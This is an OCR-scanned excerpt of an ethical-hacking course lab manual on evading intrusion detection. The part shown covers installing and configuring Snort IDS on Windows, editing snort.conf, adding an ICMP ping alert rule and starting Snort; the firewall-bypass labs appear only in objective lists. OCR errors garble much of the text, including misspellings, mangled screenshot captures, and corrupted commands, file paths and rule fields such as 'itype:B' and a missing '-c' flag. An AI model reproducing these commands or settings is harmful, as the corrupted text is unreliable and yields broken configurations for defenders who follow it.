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Module 12 - Evading IDS, Firewalls, and Honeypots

Intrusion Detection Systems

An intrusion detection system (IDS) #s a deviee or software application that
monitors networks and/ or systems for malidous adiities or policy violations and
produces reports to a management station.

Lab Scenario

Adoption of Internet use throughout the business wotld has in turn boosted network
usage; to protect their networks, organizations are using various security measures
such as firewalls, intrusion detection systems (IDSs), inttusion prevention systems
(IPSs), honeypots, and others. Networks are the most preferred targets of hackers to
compromise organizations’ secutity, and attackers find new ways to breach networks
and attack target organizations.

To become an expert Penetration Tester and Security Administrator, you must
possess sound knowledge of network intrusion prevention systems (IPSs), intrusion
detection systems (IDS), malicious network activity, and log information.

Lab Objectives
The objective of this lab is to help students learn and detect intrusions in a
network, log, and view all log files. In this lab, you will learn how to:

= Install and configure Snort IDS

= Detect Intruders Using HoneyBot

= Detect Intruders and Worms Using KFSensor Honeypot IDS

= Bypassing Windows Firewall Using Nmap

=  Bypassing Firewall Rules Using HT'TP/FIP Tunneling

= Bypassing Windows Firewall Using Metasploit

Lab Environment
To complete this lab, you will need:
= A computer running Windows Server 2016 machine
= A computer running Windows Server 2012, Windows 10, Windows 8 and
Kali Linux as virtual machine
*  WinPcap drivers installed in the Windows Server 2016 machine
* Notepad++ installed in the Windows Server 2016 machine
= Active Perl installed in the Windows Server 2016 machine to run Perl scripts
=  Administrative privileges to configure settings and run tools

= A web browser with Internet access
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Module 12 - Evading IDS, Firewalls, and Honeypots

Lab Duration

Time: 90 Minutes

Overview of Intrusion Detection System

An intrusion detection system (IDS) is a device or software application that monitors
netwotks and/or systems for malicious activity or policy violations and produces
reports to a management station. Some systems may attempt to stop an intrusion
attempt, but this is neither required nor expected of a monitoting system. In addition,
organizations use IDPSs for other purposes, such as identifying problems with
secutity policies, documenting existing threats, and deterring individuals from
violating security policies. IDPSs have become a necessary addition to the security
infrastructure of neatly every organization. Many organizations can also respond to a

detected threat by counteracting it. To do so, IDPSs use several response techniques
that involve their stopping the attack itself, thus changing the secutity environment.

IDPSs are primarily focused on identifying possible incidents, logging information
about them, attempting to stop them, and reporting them to secutity administratots.

Lab Tasks

Pick an organization that you feel is worthy of your attention. This could be an
educational institution, a commercial company, or pethaps a nonprofit charity.

Hrask 1

o iew
e Recommended labs to assist you in using the IDS ate:

= Detecting Intrusions using Snort

= Detecting Malicious Network Traffic using HoneyBOT

= Detecting Intruders and Worms using KFSensor Honeypot IDS
=  Bypassing Windows Firewall using Nmap Evasion Techniques
=  Bypassing Firewall Rules using HTTP/FTP Tunneling

= Bypassing Windows Firewall using Metasploit

Lab Analysis
Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s security posture and exposute.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.
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Detecting Intrusions using Snort
Snort is an gpen-source network IDS /IPS.
Lab Scenario

The goal of the Intrusion Detection Analyst is to find possible attacks against a
network. The past few years have witnessed a significant increase in DDoS attacks
on the Internet, making network secutity a great concern. Analysts must do this by
examining IDS logs and packet captures and corroborating them with firewall logs,
known vulnerabilities, and general trending data from the Internet. IDS attacks are
becoming more cultured, automatically reasoning the attack scenarios in real time and
categorizing them has become a critical challenge. They result in huge amounts of
data, and from this data, analysts must look for some kind of pattern. However, the
overwhelming flow of events generated by IDS sensors makes it hard for security
administrators to uncover hidden attack plans.

To become an expert Penetration Tester and Secutity Administrator, you must
possess sound knowledge of network IPSs, IDSs, malicious network activity, and log
information.

Lab Objectives

The objective of this lab is to have students learn about, and understand IPSs and
IDSs.

In this lab, you will need to:
= Install Snort and vetify Snort alerts
= Configure and validate snort.conffile
= Test working of Snort by carrying out attack test

= Perform Intrusion detection
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Hrask 1

Install Snort

Module 12 - Evading IDS, Firewalls, and Honeypots

Lab Environment

To complete this lab, you will need:
= A computer running Windows Server 2012 as virtual machine
=  Windows server 2016 running as the Attacker machine

= Snott located at Z:\CEH-Tools\CEHv10 Module 12 Evading IDS, Firewalls,
and Honeypots\intrusion Detection Tools\Snort

" You can download the latest version of Snort from
https:/www.snort.org/downloads. If you decide to download the latest
version, screenshots might differ

= WinPcap dtivers installed on the Windows server 2016 machine
=  Notepad++ installed on the Windows server 2016 machine
= Administrative privileges to configure settings and run tools

Lab Duration
Time: 20 Minutes

Overview of IPSs and IDSs

An intrusion prevention system is a network secutity appliance that monitors
networks and systems for malicious activity. The IPS’s main functions are to
identify malicious activity, log information about it, attempt to block/stop it, and
report it.

An intrusion detection system is a device or software application that monitors a
network and/or systems for malicious activity or policy violations and produces
reports to a management station. The IDS performs intrusion detection and
attempts to stop detected incidents.

Lab Tasks

1. Launch the Windows Server 2012 virtual machine. Install Snort.

2. 'To install Snort, navigate to Z:\CEH-Tools\CEHv10 Module 12 Evading IDS,
Firewalls, and Honeypots\intrusion Detection Tools\Snort.

3. Double-click the Snort_ 2 9 11_Installer.exe file. The Snort installation
wizard appears.

4. If an Open File - Security warning pop-up window appeats click Run.
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Module 12 - Evading IDS, Firewalls, and Honeypots

5. Accept the License Agreement, and install Snort by selecting the default
options that appear step by step in the wizard.

Please review the license terms before installing Snort 2.9, 11,

Press Page Down to see the rest of the agreement.

XEXEXX
IThe text that follows is the GNU General Public License, Version 2 (GPL V2)
o sasaiia e governs your use, modification and/or distribution of SNORT,
Solitee ety ok inthision Section 9 of the GPL V2 acknowledges that the Free Software Foundation may
prevention and detection revised and/or new versions of the GPL V2 from time to time, Section 9
system (IDS/IPS). further states that a licensee of a program subject to the GPL V2 could be
free to use any such revised and/or new versions under two different scenarios:
1. "Failure mSoequ.‘Smegf@u@LVZ!omakmggpfa
If you accept the terms of the agreement, dick I Agree to continue. You must accept the
agreement to install Snort 2.9, 11.
Nullsoft Insta
FIGURE 1.1: License / ent
6. A window appears after successful installation of Snort. Click Clese.
Completed
Show details
m\’ou can also
download Snort from
http:/ fwwaw snort.org.
Nulisoft Install System v2,46
< Back l Close l Cancel

FIGURE 1.2 Snont Setup completed
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Module 12 - Evading IDS, Firewalls, and Honeypots

Click OK to exit the Snort Installation window.
Note: Snort requires WinPcap to be installed on your machine.

s = l : v_(sxﬂn».

Snort has successfully been installed.

Snort also requires WinPcap 4.1.1 to be installed on this machine.
WinPcap can be downloaded from:
http://www.winpcap.org/

It would also be wise to tighten the security on the Snort installation
directory to prevent any malicious modification of the Snort executable.

Next, you must manually edit the 'snort.conf’ file to
specify proper paths to allow Snort to find the rules files
and classification files.

FIGURE: 1.3 Snott Successful Installation Window

By default, Snort installs itself in €ASnort (C:\ or D:\, depending on the disk
drive in which the OS is installed).

Navigate to the ete folder in the specified location, Z:\CEH-Tools\CEHv10
Module 12 Evading IDS, Firewalls, and Honeypots\intrusion Detection
Tools\Snortisnortrules\etc of the Snort rules, copy snort.conf, and paste it
in C:\Snort\etc.

snort.conf is already present in C:ASnort\etc; replace it with the Snort rules
snort.conf file.

Copy the so_rules folder from Z:\CEH-Tools\CEHv10 Module 12 Evading
IDS, Firewalls, and Honeypots\intrusion Detection Tools\Snort\snortrules
and paste it in C:\Snort.

Copy the preproc_rules folder from Z:ACEH-Tools\CEHv10 Module 12
Evading IDS, Firewalls, and Honeypots\intrusion Detection
Tools\Snortisnortrules, and paste it in C:\Snort. The preproc_rules folder is
already present in C:\Snort; replace this folder with the preproc_rules folder
taken from snort rules.

In the same way, copy the rules folder from Z:\CEH-Tools\CEHv10 Module
12 Evading IDS, Firewalls, and Honeypots\intrusion Detection
Tools\Snortisnortrules, and paste it in C:ASnort. The rules folder is already
present in C:ASnort; replace it with the rules folder taken from Z:\CEH-
Tools\CEHvI0 Module 12 Evading IDS, Firewalls, and
Honeypots\Iintrusion Detection Tools\Snort\snortrules.
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14. Now navigate to CaASnort and Shift-+right-click bin; click Open command
window here from the context menu to open it in a command prompt.

Hrask 2
15. Type snort and press Enter.

Verify Snort Alert
= Administrator: CA\Windows\system32\cmd.exe - snort bﬁ-

3:\Snort\bin¥snort
Running in packet dump mode

= Initializing Snort
Initiali g Output Plugi
pcap DAQ figured to pa v
The DAQ version does not ipport reloa
Acquiring network traffic from "\Devic PF_{986BF6CF-485F-42A2-BA29-BFF66515CFF

Decoding Ethernet

/"’l’”““’"'”““ Initialization Conplete

‘TCP /1P packet headers to

the screen (ie., sniffer " < 5

BT R "7y ot 9.11-WIN32 GRE (Build 125)

mode), type: snort —v. i ch & The Snort Team: http://uu rg/contactiitean

Copyright 314-2017 co and/ow . All rights wveser

yright <(C> 19982
ng PCRE i

-

FIGURE 1.4: Basic Snot Command
16. The Initialization Complete message is displayed. Press Ctri+C. Snort exits
and comes back to C:\Snort\bin.
17. Now type snort -W. This command lists your machine’s physical address, IP
address, and Ethernet Drivers, but all are disabled by default.

o] Administrator: C\Windows\system32\cmd.exe l;li-

>:\Snort\binisnort -W

- r *> Snort? <=
ol 2z Uersion 2.9.11-WIN32 GRE <(Build 125>
" By Martin Roesch & The Snort Team: htt ort.org/contactiitean
Copyright (C)> 2014-2817 Cisco and/or i i t All rights » r
™~ Copyright <(C> 1998-2813 Sourcefire, et
V=7 'To specify alog into u . 3 2 }1’ 38 23

bogging directory, type
snort —dev -1
Mogdirectorylocationand,

IP Address Device Name Description

& 1 98: ) 0080 :6 feB0:0000:0000:0000: 7caf :4d25 \Device\
Snort automatically knows NPF_<{986BF6 3 BA29-BFF66515C Microsoft pporation

to go into packet logger
mode.

2:NSnort\bin>_

FIGURE 1.5 Snon -W Command
18. Observe your Ethernet Driver index number and write it down (in this lab,
itis 1).
19. To enable the Ethemet Driver, in the command prompt, type snort -dev -i 1
and press Enter.
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EL ping [-q [4] [-n
count] [-] size] [-f] [- T°IL]
|-v TOS] |-r count| |-s
count| [[-j host-list] | [-k
host-list]] [-w timeout]
destination-list.

# “To cnable Network
Intrusion Detect ion
System (NIDS) mode so
that you don’t record every

single packet sent down the

wire, type: snort -dev -1
Jlog -h 192.168.1.0/24 ¢
snott.conf.

m'rhc frag3
Preprocessor isa target-

based IP defragmentation
moduk for Snort.

Module 12 - Evadi

g IDS, F lis, and H

Y PO

20. You see a rapid scroll text in the command prompt, which means that the
Ethernet Driver is enabled and working propetly.

=TI

Administrator: CAWindows\system32\cmd.exe - snort -dev -i 1

\Snort\bi ort —dev
IRunning in packet dump node
|

itializing
put Plugi
ru(,up DAQ configured to pa
{The DAQ version does not

reload.
cquiring network traffic "

from "\DeviceNPF_{986BF6CF-485P-4202-BA29-BFF66515CFF
IDecoding Ethernet

-—== Initialization Complete ==——
»> Snort? (»

v ion 2.9.11-WIN32 GRE

in sch & The Sn

CBuild
M "
Copyright (C) 2814-2817 Cisco

: http://uww.snort.org/contactit
and/or its affiliat A1l rights »

1998-20813 Sourcefire, Inc.. et al.
11-23

Copyright
ng PCRE ve : 2015

Using ZLIB version: g

g (pid=148)

il'jnlwlr:nn;iuq packet proc

FIGURE 1.6: Snort ~dev —i 1 Command

21. TLeave the Snort command prompt window open, and launch another
command prompt window.

22. In a new command prompt, type ping google.com and press Enter.

Administrator: Command Prompt - ping google.com =

[Uersion 6.3.96081]

icrosoft Windows
> 811 wights:reserveds

@13 Microsoft Corporation.
>:\Users\Adninistrator>

ping google.com

ulq quuql(, LUI'I data:

[216.58.197.78] \uLh 32 )wteq
byt i8
byt

158.197.78: byt

FIGURE 1.7: Ping googk.com Command

23. 'This ping command triggets a Sport alert in the Snort command prompt with
rapid scrolling text.

el |

type:Bx888 len:Vx46

] Administrator: C\Windows\system32\cmd.exe
112/29-05:16:47.925423 00:15:5

D:p1:85:88 —> BB:15:5D:81:05

> 19.18.18.12 ICHP TTIL 08:0x8 1D:8 Iva_n 28 DgnLen:56
) C ) LE

}*' NET UNREACHAB
53 UDP TTL:62 T0S:8x8 ID:4581 IpLen:20 DymnLen:62

;u :ND OF DUMP
l45 69 @9 3E 11 95 88 80 3E 11 46 F5
|“IH A8 B8 B8 DB CF 88 35 VA 2A 24 AE

BA BA BA BC E

12/29-85:16:49.935595 B0@:15:5D:01:85:82 ~> 80:15:5D:0 5:80 type:08x888 len:Bx4C

53455 -> 8.8.8.8:53 UDP TTL:64 T0S:8x8 1D:4582 IpLen:28 Dgnlen:62

10.10.18.1
B 1

A1 98 8v a1
A8 6D 73 66 74 6E
B0 81

98 B0 B9 98 BB B8 B3 64 6E 73 8B'.. ...dns
63 73 69 83 63 6F 6D 98 66 @1 .n

e et e T R S e R R R

igured for policy
1:85:88 -5 68: l" "D 81:05:02 type:0xB8088 len :@x46 N

MARNING: No preproc ors con
12,29-85:16:49.937938 8B:15:5

FIGURE 1 8: Snort Showing Captured Google Request
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Hrask 3

Configure
snort.conf File

mbog packets in
tepdump format and to
produce minimal alerts,
type: snort -b -A fast -¢
snort.conf,

EB Notepad++ is a free
source code editor and

Module 12 - Evading IDS, Firewalls, and Honeypots

24. Close both command prompt windows. The verification of Snort installation
and triggering alert is complete, and Snort is working cotrectly in verbose
mode.

25. Configure the snort.conf file, located at C:\Snortletc.
26. Open the snort.conf file with Notepad++.

27. 'The snort.conf file opens in Notepad++, as shown in the screenshot.

Tie lde Seash View Incedng Languege Settings Tooh Mace Run Plugms Windew 1 X
JUNHE R dubocian 2 AE S E0RALL BNIRR
st cord L}
W -
i 0 VAT Bule Packeges Snore.cont -1
) .
§ 0 For mere information visit us at:
s 4 Snort Mebsite
£ 0 BRIDILLYEEoRISA.ANQK.008L  Sourcefire VT Blog
.
' Malling list Contect: snort-sigedliste. scurceforge. net
. False Po ive reportal eph roefite.com
' Saort bugs: bugshanort.org
'
. Conpetible with Snort Versions:
' VERSIONS 1 2.9.11.0
o
* . Sncrt build eptions)
O] orrons ¢ ore - #pls --ensble- ~-enable-ppm --enable-perfprofiling --enable-rlib ~-e
'
' Additional information:
. This configuretion file enables ACtive response, to run snort in
. tert mode ~T you are required to supply an interface -4 <interface>
' or test mede will fail to fully validete the cenfiguration and
' exit with & FATAL error
3
I6 0 This file contains a sanple AnOrt configuratien.
§ You should take the following steps tO Create your own custem configuration:
'
# 1) Set the netwark variables.
4 3) Configure the decoder
# J) Configure the base detection engine
§  4) Configure dynanic loaded libraries
? %) Configure preprocessors
4 0 &) Contigure output plugins v
. - ’
Recmateatie fength | 20,031 tnes: T a1 Colil $eli0)0 Una 41F) utt-a [
—_—

FIGURE 1.9: Snort.conf Fik in Notepad ++

28. Scroll down to the Step #1: Set the network variables section (Line 41) of
snort.conf file. In the HOME_NET line (Line 45), replace any with the IP
addresses of the machine (target machine) on which Snort is running. Here,
the target machine is Windows Server 2012, and the IP address is
10.10.10.12.

Note: This IP address may vary in your lab environment.

Fie (60 Sewch Veew (ncodng Lingusge Settings Tooh Moo Rum Phgrs Window !

JHEHE » B DR IcaN 2 HHE LT EIRABENIRER

§ Step #1: Set the netwvork varisbles. For more information, see README.variables

s you Are protecting

§ 3ot Gp the external netverk addresses. Leave a3 "any® in mest situations

Notepad replacement that AL

supports several hnguages. FIGURE 1.1(: Configuring S fFike in N -+
It runs in the MS Windows g dromt i oxod
IOt 29. Leave the EXTERNAL_NET any line as it is.

30. If you have a DNS Server, then make changes in the DNS_SERVERS line by
replacing $HOME_NET with your DNS Server IP address; otherwise, leave
this line as it is.
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[—D The element "any’ can
be used to match all IPs,
although ’any” is not
allowed. Also, negated IP
ranges that are more
general than non-negated
IP ranges are not allowed.

mRulc variable names
can be modified in several
ways. You can define meta-
variables using the $
opetator. These can be
used with the variable
modifier operators ? and -

ED) The include keyword
allows other rule files to be
included within the rule file
indicated on the Snort
command line. It works
much like an #include
from the C programming
hnguage, reading the
contents of the named file
and adding the contents in
the place where the include
statement appears in the
file.

Module 12 - Evading IDS, Firewalls, and Honeypots

Fle Ede Sewch Veew Encoding Langusge Settings Teok Macro Run Pluges Window !

JOHGE 3 B JURkdcay xS ENRAus DERRE

41 @ Step #1: Set the network B for more see README.varisbles

44 ¢ Setup the metwork sddresses you are protecting
4%  ipvar BOME_NET 10.30.

* § Set wp the external network addresses. leave as “any®™ in most situations
{8  ipvar EXTERNAL MET any

§ List of DNS servers om your metwork

FIGURE 1.11: Configuring Snort.conf Fik: in Notepad++
to  SMTP_SERVERS, HTTP_SERVERS,

31. The
SQI_SERVERS, TEINET_SERVERS, and SSH_SERVERS.

same  applies

32. Remember that if you don’t have any servers running on your machine, leave
the line as it is. DO NOT make any changes in that line.

33. Scroll down to RULE PATH (Line 104). In Line 104, replace.Jrules with
C:\Snortirules, in Line 105, replace ./so_rules with C:\Snortiso_rules, and in
Line 106, replace ./preproc_rules with C:\Snort\preproc_rules.

Fle fd0 Sewch View fncodeg Langusge Settingn Tooh Maco Rum Plupns Window 1 x

cHEHE s B AN dc % 2T 1 EIRAL BRI RR

ot ot O

¢ Path to your rules files (this can be a relative path)

¢ Note for Wisdows users: You are advised to make this an absolute path,
gk i Silsnorsirules

var RULL_PATH C:\Snort\rules

var $0_RULE_PATH Ci\Smort\so_rules

var PREPROC_RULE PATH C:\Snort

FIGURE 1.12: Configuring Snort.conf Fik in Notepad+ +
34. In Lines109 and 110, replace ../rules with C:\Snort\rules.

Fie [dt Sewch View Encoding Language Settings Took Macro Rum Plogni  Window ! X
s dHB LR MD c/ay 2= HE SV EIRAus @R
ot cot 03

§ Path to yousr rules files (this can Be & relative path)

¢ Nove for Mindows users: You are advised to make this an absclute path,
3 4 such as: c:i\snozti\rules
5104 wvar RULE PATH C:\3nert\rules
304 var SO_RULE_PATM Ci\Snort\so_rules
206 var PREPROC_RULZ_PATE C:\Ssert\preproc_rules L

3 5 Cessor set these
IST_FPATE C:\Snortirules

FIGURE 1.13 Configuring Snort.conf ik in Notepad++

35. Navigate to C:\Snortirules, and create two text files; name them white_list
and black_list and change their file extensions from .txt to .rules.

36. While changing the extension, if any pop-up appeats, click Yes.

37. Switch back to Notepad ++, scroll down to Step #4: Configure dynamic
loaded libraries scction (Line 238). Configure dynamic loaded libraries in
this section.

38. At the path to dynamic preprocessor libraries (Line 243), replace

lusrllocalllib/snort_dynamicpreprocessor/ with your dynamic preprocessor
libraries folder location.
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m Preprocessors allow
the functionality of Snort
to be extended by allowing
users and programmers to
drop modular plug-ins into
Snort fairly easily.

#Note: Preprocessor
code is run before the
detection engine is called,
but after the packet has
been decoded. The packet
can be modified or
amalyzed in an out-of -band
manner using this
mechanism.

Module 12 - Evading IDS, Firewalls, and Honeypots

39. In this lab, the dynamic preprocessor libraties are located at
C:\Snortllib\snort_dynamicpreprocessor.

40. At the path to base preprocessor (or dynamic) engine (Line 246); replace
lusrllocalllib/snort_dynamicengineflibsf engine.so  with your base

preprocessor engine C:Snortllib\snort_dynamicengine\sf_engine.dlIl.
41. Comment (#) the dynamic rules libraties line as you already configured the
libraries in dynamic preprocessor libraties (Line 249).

Fie [0 Semh View fncodng Lengusge Setings Took Macro Fun Plugen Window 1 X
R LB AR Oc/av a2 HE YV EIRAL EEIER

0§ Por more Anformation, #ee Snort Manual, Coafiguring Sacrt - Dynamic Modules

243 dynamicpreprocessor directery Ci\Snort\lib\smort dynemicpeeprocessoe

A parn o vase angise
B44 dynamicengine C:\Saort\lib\snort_dymamicengine\sf_engine.dil]

248 0 peth to éymamic rules libraries

40§ dynanicdetection difectory /usr/local/lib/snort dynamicrules

FIGURE 1.14: Configuring Snort.conf Fik: in Notepad ++

42. Scroll down to Step #5: Configure preprocessors section (Line 252), the
listed preprocessor. Do nothing in IDS mode, but generate errors at runtime.

43. Comment out all the preprocessors listed in this section by adding # before
each preprocessor rule (261-265).

Fie (00 Sewch View [Encodng Longusge Settings Toek Macre Rum Plugen Window 1
e L LB 4NDioc a2 BRI LV EFIRORNERER

lllln 33 Contigure glmlv“narll

¢ For more information, see the Snort Manual, Configuring Snort - Preprocessors

§ GTP Comtrol Channle Preprocessor. For more information, see KEADME.OTP

0 preprocessor gupt porte ( 2333 3906 2182 )

§ Inline packet normaliration. For more inforsation, see README.normaline

§ Does nething in

Preprocessat normaiire_ipd

343 0 preprocessor normalize _topt DIock, rev, Pad, ULp, req urg, Teq Pay, Teq urp, ips, ecn stream
260 0 preprocessor normalize_tompd M
244 0 preprocessor normalize_ipé

FIGURE 1.15 Configuring Snort.conf Fik: in Notepad ++
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(28] Many configuration
and command line options
of Snort can be specified in
the configuration file.
Format: config <directive>
|: <value>|.

Module 12 - Evading IDS, Firewalls, and Honeypots

44, Scroll down to line 325 and delete Izma keyword.

oy max_spaces 200 \

2 omall_enunk length { 30 8 ) \

oo porta ( 3¢ §0 $1 62 93 04§35 06 97 08 €9 0 333 383 $55 $91 $9) €33 01 €08 018 901 972 119 1330 1434 3833 1741 3t
06 nom_tfc_char ( OX0O ONOL ONOX ONOD OxO4 OxOS OnO6 ONOY ) \

o enable_Sookie \

) extended_response_inapecticn \

oo Anspect_grip \

50 normalize_ute \

uniinived_decompress \

32 normalize_javascript \
1y apache_whitespace no \

i ascii no \

28 bere_byte no \

36 directory mo \ i
B double_decode no \

Bo 119_backalash 8o \ Delete only lzma

3o 11s_delimiter mo \ from this line.

s 11s_unicode 5o \

2 multi_siash no \

22 ute 8 no \

23 u_encods yes \

3 webroot mo \

o deccapress_swf | n!uu) \

- decompress_paf | defiate |
| F—

FIGURE 1.16 Configuring Snort.conf Fik in Notepad +-+

45, Scroll down to Step #6: Configure output plugins (Line 512). In this step,
provide the location of the classification.config and reference.config files.

46. These two files are in C:ASnort\ete. Provide this location of files in configure
output plugins (in Lines 531 and 532) i.e., C:ASnort\etc\classification.config
and C:Snort\etc\reference.config

Fle fde Sewch View Encodng Langusge Settings Teck Moo fum Pluges Window 7 X
cIHE s B dRbocian e xFE LT EFaRBAu @R ERER
ot cord O

ll!len $6: Configure output nxwuu!
¢ Yof more information, see Snost Wanusl, Configuring Smere - Output Modules

unified?
fecommended for most installs
output unifiedl: filename merged.log, limit 128, nostemp, mpls_event_types, vian_event_types

§ Asditicnsl configuraticn for specific types of instells
output elerc unifiedl: filename soort.alert, limit 128, ncstasp
output log_unifiedd: filename snort.log, limit 128, nostasp

-

syslog
output slert_syslog: LOG_AUTH 1L0G_ALERT

poep
outpst log_teplump: topdump.log

-

include C:\Snors\etc\classification.config
include C:\Smort\etc\reference.cont:

FIGURE 1.17: Configuring Snort.conf Fik in Notepad-++
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m Note: fipvar’s are
enabled only with TPv6
support. Without IPv6
support, use a regular 'var.

Module 12 - Evading IDS, Firewalls, and Honeypots

47. In this step #6, add the line (533) output alert_fast: alerts.ids, for Snort to
dump all logs in the alerts.ids file.

Fie ESt Sewch View fncoding Linguage Semtings Took Meco Rum Ploges Window 1
c2HE 3 2 4D dc a2 EI BV EIRAC SERER

$ Szep $6: Configure output plugins
# Yor more information, see Smort Manual, Comfiguring Smcrt - Oatput Mogules

4 umifsea
§ Recommended for most installs
¢ ocutput unified: filemame merged.log, limit 128, nostamp, mpls_event types, vian even:t types

¥ Aaditional configuraticn for specific types of installs
4§ cutput alert_unified?: filename smort.alers, limit 128, mostasp
4 ocutput log_umifiedl: filename snorr.leg, limic 128, nostamp

¢ sysiog

# cutput alert_syslog: LOG_AUTH 10G_ALERT
+ po

4 outpot log_tcpdump: topdump.log

# metadete reference data. do not modify these lines
include Ci\Soorz\ezc\classification.config
2

FIGURE 1.18 Configuring Snort.conf File in Notepad ++

48. In the snort.conf file, find and replace the ipvar string with var. To do this,
press Ctri+h on keyboard. The Replace window appears, enter ipvar in the
Find what : text field, enter var in the Replace with : text field and click
Replace All.

49. By default, the string is ipvar, which is not recognized by Snort, so replace it
with the var string, and then close the window.

Note: Snort now supports multiple configurations based on VLAN Id or IP

subnet within a single instance of Snort. This allows administrators to specify

multiple snort configuration files and bind each configuration to one or mote
VLANS or subnets rather than running one Snort for each configuration required.

Find | Replace |Find in Files | Mark |
Find what : | ipvar v] | Find Next |
Replace with : | var v| l Replace J
|__jIn selection ¥
irect Replace Al in All Opened
D ree P ["]Backward direction e
variables may be defined in [[IMatch whole word only
- [IMatch sase
= Var [w] wrap around
* Portvar Search Mode [W] Transparency
= ipvar (® Normal (®) On losing focus
O Extended (W, ¥, \t, \0, \x...) O Aways
(@) Reguiar expression | . matches newline T
FIGURE 1.19: Repladng ipvar with var
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Module 12 - Evading IDS, Firewalls, and Honeypots

50. Click Close to close the Replace window.
51. Go to the lines 504-509 and remove backslash at the end of each line (if any).

Edt Sewch View Encodng Language Semings Took Maco Rum Phgns Window 7 X
BB s eR b dciay/axFE s I[Fa@dureEDER
ot cond 3
bitenc_decode_depth 0 \ -

su_decode_depth O

+ For . For more see README.pop
preprocessor pep: \
pores ¢ 330 1 \

B64_decode_depth O \
qp_decode_depth 0 \
Bitenc_decode_depth O \
uy_decode_depth 0

o

§ Modbus preprocesscr. For more information see README.modbos
Preprocessor modbus: ports { 302 )

ED) Frags is intended as a

# DNPS preprocessor. For more informeticn see REAIME.dnpd

preprocessor dopd: ports ( 20000 ) \
drzlmnmt fof ﬂnOdﬁ:u]gZ memzap 26214¢ \
ragmentation module check_eze
and was designed with the wtation preprocesscr. For more information see README.reputation
following goals:

mencap $00,
priority whitelist,
fested_ip inner,

1. Faster execution than

frag2 with less complex whiteliss SKHITE LIST_PATM/white list.rules,
dnm fnan ent. blacklist SBLACK LIST PATH/black list.rules
2. Target-based host FIGURE 120: Configuring Snort.conf Fik in Notepad + +
modeling anti-evasion
techniques. 52. Comment out the lines 504-509, as shown in the screenshot:
Fie de Sewch View fEncoding Langusge Settings Took Macio Rum Plogns Window ! X
dMHE L SR IR d2c/an 22 BRI LV EIRALE RN ER
won conf £3
bitens decode depth O \ -
wu_decode_depth O
407 0 POF preprocesscr. for more information see RIADNE.pop
410 preprocessor popi \
1.0 ports ( 130 ) \
496 Bé4_decode_depth 0 \
7 Makesure ogab [0 W2t o
the rules for the version of s wa_Secods_gepih 0
Snort you are installing. 495§ Nodbus preprocessor. Yor more information see README.modbus

4%¢ preprocessor modbus: ports { 302 )

AN0 ¢ DNP3 preprocessor. For more information see REAINE.dnp)
M55  preprocessor d=pd: porta ( 20000 ) \

80 memcap 262144 \

check_cro

3 hepataticn . Yor more information see EATME.reputaticn
§ preprocessor reputation:

mencep 300,

priority whitelist, ul
nested_ip inmer,
whitelist $WMITE LIST_PATH/wvhite_list.rules,
blacklist SBLACK LIST_PATH/black_list.rules |

FIGURE 121: Configuring Snort.conf Fik in Notepad++
/ T'o run Snort as a
daemon, add -D switch to 53. Save the snort.conf file.
any combination. Notice y 2 ’
that if you want to be abk 54. Before running Snort, you need to enable detection rules in the Snort rules
:’Smf,';‘i”g:’l"lfd“f“g file. For this lab, we have enabled ICMP rule so that Snort can detect any host
dacmon, specify the full discovery ping probes to the system running Snort.
path to the Snort binary ” .
when you startit, for 55. Navigate to C:\Snortirules and open the icmp-info.rules file with Notepad
example:
Just/local/bin/snort -d -h .
192.168.1.0/24 \ -1
fvar{log/snortlogs -c
fustflocal/ ete/snott.conf -
s-D
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Hrask 4

Validate
Configurations

[:L] Preprocessors are
boaded and configured
using the ‘preprocessor’
keyword. The format of the
preprocessor directive in
the Snort rules file is:
Preprocessor <name:
<options>.

Hrask s

Start Snort

Module 12 - Evading IDS, Firewalls, and Honeypots

56. Typc alert icmp $EXTERNAL NET any -> $HOME NET 10.10.10.12
(msg:"ICMP-INFO PING"; icode:0; itype:B; reference:arachnids,135;
reference:cve,1999-0265; classtype:bad-unknown; sid:472; rev:7;) in line
21, and save it.

Note: The IP address (10.10.10.12) mentioned in SHOME_NET may vary in

your lab environment.

Fie 6t Sewch View [ncoding Lingusge Settings Tooh Mecro Run Plugine Window 1 X

)

A s B RDD2cay ¢ 2 p y s WE IR

ol ompwto ntee

Copyright 2003-2013 Sourcefire, Inc, All Rights Reserved.

et icmp FEXTERNAL NEY any -> GMOME NEY 10.10.10,12 (mag:“ICHP-INFO FING®; icode:D: itype:®; :cln:er.:c:n-:r.r.'.:-,L)!:I

FIGURE 1.22: Configuting ianp-info.mles File in Notepad ++
57. Now, navigate to C:Snort and Shift+right-click folder bin, seclect Open
command window here from the context menu to open it in the command
prompt.
58. Type snort -iX -A console - C:\Snort\etc\snort.conf -l C:\Snortllog -K ascii

and press Enter to start Snort (replace X with your device index number; in
this lab: X s 1).

Administrator: C\Windows\system32\cmd.exe i o

Snort\binZsnort -il -A console -c¢ C:\Snort\etc\snort.conf -1 C:\Snort\log -K

scii

FIGURE 123 Command to activate Snort and save the stored log files

59. If you receive a fatal error, you should first verify that you have typed all
modifications cotrectly into the snort.conf file, and then search through the
file for entries matching your fatal efror message.

60. If you receive an etror stating “‘Could not create the registry key,” then run
the command prompt as an Administrator.

61. Snort starts running in IDS mode. It first initializes output plug-ins,
preprocessors, plug-ins, loads dynamic preprocessors libraries, rule chains of
Snott, and then logs all signatures.
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Module 12 - Evading IDS, Firewalls, and Honeypots

62. If you enter all the command information correctly, you receive a comment
stating Commencing packet processing <pid=x00¢> (the value of xxxx may
be any number; in this lab, it is 2140), as shown in the screenshot:

am Administrator: C:\Windows\system32\cmd.exe - snort -i1 -A console -c C:\Snor... |;|£-

: 2.9.11-WIN32 GRE (Build 125)
By Martin Roesch & The Snort Team: http://wwu.snort.org/contactiitean
Copyright (C> 2014-2817 Cisco ands/or its affiliat All rights P
ight (C> 1998-2813 Sou Inc., et al.
m F rsion: 8.38
IB version: 1

Snort\ete\snort.conf is
the location of the

Rules Eng <Build 1>

configuration file

Option: -1 to log the
output to C:A\Snorthlog
fokler

Uer
ion 1.0

{Build 3>
{Build 9>
{Build 1>

{Build 1>
{Build 1>
{Build 1>
{Build 1>
{Build 1>

Option: - 2 to specify e
35 ) b ion 1.1 uild 1>
the interface Uersion 1.2 <Build 13>
ion 1.1 <Build 4>

ion 1.1 <Build 1>
Uersion 1.8 <Build 3>

GIP Uer
¢ _FTPTELNET
DNE  Uex
SF_DNP Ue
ot= SE_DCERP
(pid~=2148>

Pmenmoce

Conmencing packet proc

